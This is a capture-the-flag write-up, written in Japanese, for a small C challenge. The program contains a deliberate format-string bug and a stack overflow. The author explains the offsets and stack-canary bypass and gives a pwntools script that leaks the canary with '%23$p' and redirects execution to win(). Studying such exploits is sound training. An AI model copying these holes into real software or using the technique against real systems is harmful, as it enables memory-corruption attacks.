Only forward - Daily AlpacaHack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void setup(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void win(void) {
FILE *fp = fopen("flag.txt", "r");
char flag[128];
if (!fp) {
puts("flag.txt not found");
exit(1);
}
if (fgets(flag, sizeof(flag), fp) == NULL) {
puts("failed to read flag");
fclose(fp);
exit(1);
}
printf("Congratulations! %s\n", flag);
fclose(fp);
exit(0);
}
void vuln(void) {
char name[64];
char buf[64];
puts("What's your name?");
read(0, name, 64);
puts("Hello!");
printf(name);
puts("");
puts("Tell me something:");
read(0, buf, 256);
puts("Bye!");
}
int main(void) {
setup();
vuln();
return 0;
}
char buf[64]; があるのに read(0, buf, 256); で読取る長さが違うので、配列外に書き込めるrip を書き換えるよう buf を入れればよさそうだ
vuln() 内の rip - &buf = 80 bytes であることがわかった
rip は 8 bytes なので、距離としては 72 bytesbuf の後にpaddingが8bytesあるwin() の先頭アドレスを入れると、どうも *** stack smashing detected *** が出てくる
canary という概念があるrbp の前あたりに置かれる\00 を入れて、printf() がとんでもないところまで読まないようにする仕組みprintf() に任意の文字列を指定できるので、%p とかメモリの状態を表示させることができる&name - $rbp - 0x8 で、canaryの先頭までのバイト数を出すと 136
$rbp の直前にあることが決まっている%23$p を表示させると canary の値が出てくるrip) を送信してやればいい(pwntools を使う)
from pwn import *
# chal の win() のアドレスが欲しい
elf = ELF("q/chal")
win_begin_addr = elf.symbols["win"]
print(f"got chal: win @ {hex(win_begin_addr)}")
ip = input("IP: ")
port = input("Port: ")
io = remote(ip, port)
io.recvuntil(b"What's your name?\n")
# stack 23番目にカナリアがいるので、23番目のスタックの値を出す
io.sendline(b"%23$p")
io.recvuntil(b"Hello!\n")
canary_str = io.recvline().strip()
canary = int(canary_str, 16)
print(f"[*] Canary: {hex(canary)}")
io.recvuntil(b"Tell me something:\n")
payload = b"A" * 72 # offset (buf)
payload += p64(canary) # canary
payload += b"B" * 8 # rbp: (something)
payload += p64(win_begin_addr) # rip: go to win()
io.sendline(payload)
print(io.recvall().decode(errors="replace"))